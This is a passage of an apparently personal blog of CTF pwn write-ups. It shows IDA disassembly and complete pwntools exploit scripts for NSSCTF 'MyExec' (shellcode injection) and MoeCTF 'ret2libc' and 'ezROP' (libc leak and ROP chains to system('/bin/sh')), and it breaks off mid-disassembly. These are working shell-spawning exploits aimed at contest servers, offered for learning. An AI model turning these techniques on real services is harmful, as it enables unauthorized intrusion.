next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">    port = <span class="number">1111</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">sl(asm(shellcraft.sh()))</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h2 id="11-16"><a href="#11-16" class="headerlink" title="11.16"></a>11.16</h2><h3 id="NSSRound-9-Basic-MyExec"><a href="#NSSRound-9-Basic-MyExec" class="headerlink" title="[NSSRound#9 Basic]MyExec"></a>[NSSRound#9 Basic]MyExec</h3><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001325</span>                 <span class="keyword">push</span>    <span class="built_in">rbp</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001326</span>                 <span class="keyword">mov</span>     <span class="built_in">rbp</span>, <span class="built_in">rsp</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001329</span>                 <span class="keyword">sub</span>     <span class="built_in">rsp</span>, <span class="number">10h</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">000000000000132D</span> <span class="comment">; 3:   init(argc, argv, envp);</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">000000000000132D</span>                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001332</span>                 <span class="keyword">call</span>    init</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001337</span> <span class="comment">; 4:   sandbox();</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001337</span>                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000133C                 <span class="keyword">call</span>    sandbox</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001341</span> <span class="comment">; 5:   puts(&quot;test NSS sandbox&quot;);</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001341</span>                 <span class="keyword">lea</span>     <span class="built_in">rax</span>, s          <span class="comment">; &quot;test NSS sandbox&quot;</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001348</span>                 <span class="keyword">mov</span>     <span class="built_in">rdi</span>, <span class="built_in">rax</span>        <span class="comment">; s</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000134B                 <span class="keyword">call</span>    _puts</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001350</span> <span class="comment">; 6:   mmap((void *)0x50000, 0x1000uLL, 7, 50, -1, 0LL);</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001350</span>                 <span class="keyword">mov</span>     <span class="built_in">r9d</span>, <span class="number">0</span>          <span class="comment">; offset</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001356</span>                 <span class="keyword">mov</span>     <span class="built_in">r8d</span>, <span class="number">0FFFFFFFFh</span> <span class="comment">; fd</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000135C                 <span class="keyword">mov</span>     <span class="built_in">ecx</span>, <span class="number">32h</span> <span class="comment">; &#x27;2&#x27;  ; flags</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001361</span>                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="number">7</span>          <span class="comment">; prot</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001366</span>                 <span class="keyword">mov</span>     <span class="built_in">esi</span>, <span class="number">1000h</span>      <span class="comment">; len</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000136B                 <span class="keyword">mov</span>     <span class="built_in">edi</span>, <span class="number">50000h</span>     <span class="comment">; addr</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001370</span>                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001375</span>                 <span class="keyword">call</span>    _mmap</span><br><span class="line"><span class="symbol">.text:</span>000000000000137A <span class="comment">; 7:   read(0, (void *)0x50000, 0x64uLL);</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000137A                 <span class="keyword">cdqe</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000137C                 <span class="keyword">mov</span>     [<span class="built_in">rbp</span>+var_8], <span class="built_in">rax</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001380</span>                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="number">64h</span> <span class="comment">; &#x27;d&#x27;  ; nbytes</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001385</span>                 <span class="keyword">mov</span>     <span class="built_in">esi</span>, <span class="number">50000h</span>     <span class="comment">; buf</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000138A                 <span class="keyword">mov</span>     <span class="built_in">edi</span>, <span class="number">0</span>          <span class="comment">; fd</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000138F                 <span class="keyword">call</span>    _read</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001394</span> <span class="comment">; 8:   MEMORY[0x50000]();</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001394</span>                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001399</span>                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="number">50000h</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000139E                 <span class="keyword">call</span>    <span class="built_in">rdx</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000013A0 <span class="comment">; 9:   return 0;</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000013A0                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000013A5                 <span class="keyword">leave</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000013A6                 <span class="keyword">retn</span></span><br></pre></td></tr></table></figure><p>ret2shellcode</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">21775</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line"><span class="comment"># rdi = rop.find_gadget([&#x27;pop rdi&#x27;,&#x27;ret&#x27;])[0]</span></span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line"><span class="comment"># info(&quot;rdi addr : &#123;:#x&#125;&quot;.format(rdi))</span></span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">sl(shellcode)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="MoeCTF-2022-ret2libc"><a href="#MoeCTF-2022-ret2libc" class="headerlink" title="[MoeCTF 2022]ret2libc"></a>[MoeCTF 2022]ret2libc</h3><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">.text:</span><span class="number">0000000000401183</span> buf             = <span class="built_in">byte</span> <span class="built_in">ptr</span> -<span class="number">40h</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000401183</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000401183</span> <span class="comment">; __unwind &#123;</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000401183</span>                 endbr64</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000401187</span>                 <span class="keyword">push</span>    <span class="built_in">rbp</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000401188</span>                 <span class="keyword">mov</span>     <span class="built_in">rbp</span>, <span class="built_in">rsp</span></span><br><span class="line"><span class="symbol">.text:</span>000000000040118B                 <span class="keyword">sub</span>     <span class="built_in">rsp</span>, <span class="number">40h</span></span><br><span class="line"><span class="symbol">.text:</span>000000000040118F                 <span class="keyword">lea</span>     <span class="built_in">rax</span>, [<span class="built_in">rbp</span>+buf]</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000401193</span>                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="number">70h</span> <span class="comment">; &#x27;p&#x27;  ; nbytes</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000401198</span>                 <span class="keyword">mov</span>     <span class="built_in">rsi</span>, <span class="built_in">rax</span>        <span class="comment">; buf</span></span><br><span class="line"><span class="symbol">.text:</span>000000000040119B                 <span class="keyword">mov</span>     <span class="built_in">edi</span>, <span class="number">0</span>          <span class="comment">; fd</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004011A0                 <span class="keyword">call</span>    _read</span><br><span class="line"><span class="symbol">.text:</span>00000000004011A5                 <span class="keyword">nop</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004011A6                 <span class="keyword">leave</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004011A7                 <span class="keyword">retn</span></span><br></pre></td></tr></table></figure><p>libc6_2.35-0ubuntu3.2_amd64</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">22681</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">offset = <span class="number">0x40</span> + <span class="number">8</span></span><br><span class="line"></span><br><span class="line">payload1 = flat([cyclic(offset),rdi,elf.got[<span class="string">&#x27;puts&#x27;</span>],elf.plt[<span class="string">&#x27;puts&#x27;</span>],<span class="number">0x000000000401187</span>])</span><br><span class="line">sl(payload1)</span><br><span class="line">puts_addr = get_addr()</span><br><span class="line">success(<span class="string">&quot;puts: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(puts_addr))</span><br><span class="line">libc_base = puts_addr - <span class="number">0x80ed0</span></span><br><span class="line">system = <span class="number">0x50d60</span> + libc_base</span><br><span class="line">str_bin_sh = <span class="number">0x1d8698</span> + libc_base</span><br><span class="line">payload2 = flat([cyclic(offset),ret,rdi,str_bin_sh,system])</span><br><span class="line">sl(payload2)</span><br><span class="line"><span class="comment"># debug()</span></span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="MoeCTF-2021-ezROP"><a href="#MoeCTF-2021-ezROP" class="headerlink" title="[MoeCTF 2021]ezROP"></a>[MoeCTF 2021]ezROP</h3><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">.text:</span>00000000004009A0                 <span class="keyword">push</span>    <span class="built_in">rbp</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009A1                 <span class="keyword">mov</span>     <span class="built_in">rbp</span>, <span class="built_in">rsp</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009A4                 <span class="keyword">push</span>    <span class="built_in">rbx</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009A5                 <span class="keyword">sub</span>     <span class="built_in">rsp</span>, <span class="number">48h</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009A9 <span class="comment">; 7:   memset(s, 0, sizeof(s));</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009A9                 <span class="keyword">lea</span>     <span class="built_in">rdx</span>, [<span class="built_in">rbp</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>00000000004009AD                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009B2                 <span class="keyword">mov</span>     <span class="built_in">ecx</span>, <span class="number">6</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009B7                 <span class="keyword">mov</span>     <span class="built_in">rdi</span>, <span class="built_in">rdx</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009BA                 <span class="keyword">rep</span> <span class="keyword">stosq</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009BD <span class="comment">; 8:   v3 = 0;</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009BD                 <span class="keyword">mov</span>     <span class="built_in">rdx</span>, <span class="built_in">rdi</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009C0                 <span class="keyword">mov</span>     [<span class="built_in">rdx</span>], <span class="built_in">ax</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009C3 <span class="comment">; 9:   puts(&quot;Input your Plaintext to be encrypted&quot;);</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009C3                 <span class="keyword">add</span>     <span class="built_in">rdx</span>, <span class="number">2</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009C7                 <span class="keyword">mov</span>     <span class="built_in">edi</span>, offset aInputYourPlain <span class="comment">; &quot;Input your Plaintext to be encrypted&quot;</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009CC                 <span class="keyword">call</span>    _puts</span><br><span class="line"><span class="symbol">.text:</span>00000000004009D1 <span class="comment">; 10:   gets(s);</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009D1                 <span class="keyword">lea</span>     <span class="built_in">rax</span>, [<span class="built_in">rbp</span>+s]</span><br><span class="line"><span class="symbol">.text:</span>00000000004009D5                 <span class="keyword">mov</span>     <span class="built_in">rdi</span>, <span class="built_in">rax</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009D8                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009<span class="built_in">DD</span>                 <span class="keyword">call</span>    _gets</span><br><span class="line"><span class="symbol">.text:</span>00000000004009E2                 <span class="keyword">jmp</span>     loc_400AB4</span><br><span class="line"><span class="symbol">.text:</span>00000000004009E7 <span class="comment">; ---------------------------------------------------------------------------</span></span><br><span class="line"><span class="symbol">.text:</span>00000000004009E7 <span class="comment">; 16:     if ( s[x] &lt;= 96 || s[x] &gt; 122 )</span></span><br><span class="line"><span 